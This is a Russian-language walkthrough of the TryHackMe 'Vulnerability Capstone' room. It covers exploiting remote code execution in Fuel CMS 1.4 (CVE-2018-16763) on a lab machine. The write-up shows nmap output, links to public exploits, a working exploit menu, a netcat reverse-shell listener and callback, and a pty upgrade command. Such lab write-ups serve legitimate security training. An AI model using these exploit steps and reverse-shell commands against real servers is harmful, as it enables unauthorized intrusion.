Пост

TryHackMe - Vulnerability Capstone

Просто почини свои эксплойты

TryHackMe - Vulnerability Capstone

Введение

Довольно раздражающая комната, потому что пришлось пройти через несколько нерабочих эксплойтов, но в итоге мы всё‑таки нашли тот, который сработал.

Tryhackme Room Link


Вопросы

Как называется приложение, запущенное на уязвимой машине?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
nmap -T4 -n -sC -sV -Pn -p- 10.10.159.5
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 9a:5b:14:49:04:b1:d5:44:82:6b:85:b0:f1:b8:1f:69 (RSA)
|   256 6f:4f:08:60:6d:46:a7:b8:e3:0e:1b:00:12:4b:e3:09 (ECDSA)
|_  256 49:3c:2d:13:e7:8b:77:70:47:e4:f4:e1:df:96:5d:7a (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
| http-robots.txt: 1 disallowed entry 
|_/fuel/
|_http-title: Welcome to FUEL CMS
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Открытые порты:
22/tcp
80/tcp

Ответ:

1
Fuel CMS

Какой номер версии у этого приложения?

Fuel CMS

Ответ:

1
1.4

Какой номер CVE позволяет атакующему выполнить удалённое выполнение кода на этом приложении?

Быстрый поиск в Google даёт следующий результат:
https://pentest-tools.com/vulnerabilities-exploits/fuel-cms-141-remote-code-execution_2612

Ответ:

1
CVE-2018-16763

Каково значение флага, находящегося на этой уязвимой машине? Он расположен в /home/ubuntu.

Переходим к эксплуатации.

Скачиваем эксплойт с
https://www.exploit-db.com/exploits/50477
и пробуем использовать его

1
2
3
4
5
6
7
8
9
10
11
12
python3 50477.py 
usage: python3 50477.py -u <url>
python3 50477.py -u http://10.10.159.5
[+]Connecting...
Enter Command $ls
system

Enter Command $id
system

Enter Command $whoami
system

Неважно, что мы вводим — ответ всегда одинаковый.

Окей, скачиваем другой эксплойт:
https://github.com/p0dalirius/CVE-2018-16763-FuelCMS-1.4.1-RCE
Он использует тот же CVE, но с другим подходом

1
git clone https://github.com/p0dalirius/CVE-2018-16763-FuelCMS-1.4.1-RCE

Этот вариант тоже работает плохо


Флаг

Наконец-то эксплойт, который реально работает:
https://gist.github.com/anir0y/8529960c18e212948b0e40ed1fb18d6d#file-fuel-cms-py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ python3 exploit.py 10.10.159.5/                                                                            

 ______         _ _____ ___  ___ _____                                                                         
|  ___|        | /  __ \|  \/  |/  ___|                                                                        
| |_ _   _  ___| | /  \/| .  . |\ `--.                                                                         
|  _| | | |/ _ \ | |    | |\/| | `--. \                                                                        
| | | |_| |  __/ | \__/\| |  | |/\__/ /                                                                        
\_|  \__,_|\___|_|\____/\_|  |_/\____/                                                                         
Tested on 1.4                                                                                                  
Created by Ac1d                                                                                                

        Menu                                                                                                   
                                                                                                               
exit     -      Exit app                                                                                       
shell_me -      Get a reverse shell (netcat)                                                                   
help     -      Show this help                                                                                 
                                                                                                               
fuelCMS$

Запускаем netcat‑листенер на атакующей машине:

1
nc -lvnp 1337

И отправляем reverse shell на себя:

1
2
fuelCMS$ shell_me
Enter your attacking machine IP:PORT $ 10.14.99.72:1337

Exploit

И получаем shell:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ nc -lvnp 1337                                                                                              
listening on [any] 1337 ...
connect to [10.14.99.72] from (UNKNOWN) [10.10.159.5] 44904
/bin/sh: 0: can't access tty; job control turned off
$ ls
README.md
assets
composer.json
contributing.md
fuel
index.php
robots.txt
$ whoami
www-data

Просто переключаемся на интерактивный shell и забираем флаг:

1
$ python3 -c 'import pty; pty.spawn("/bin/bash")'

Exploit

Авторский пост защищен лицензией CC BY 4.0 .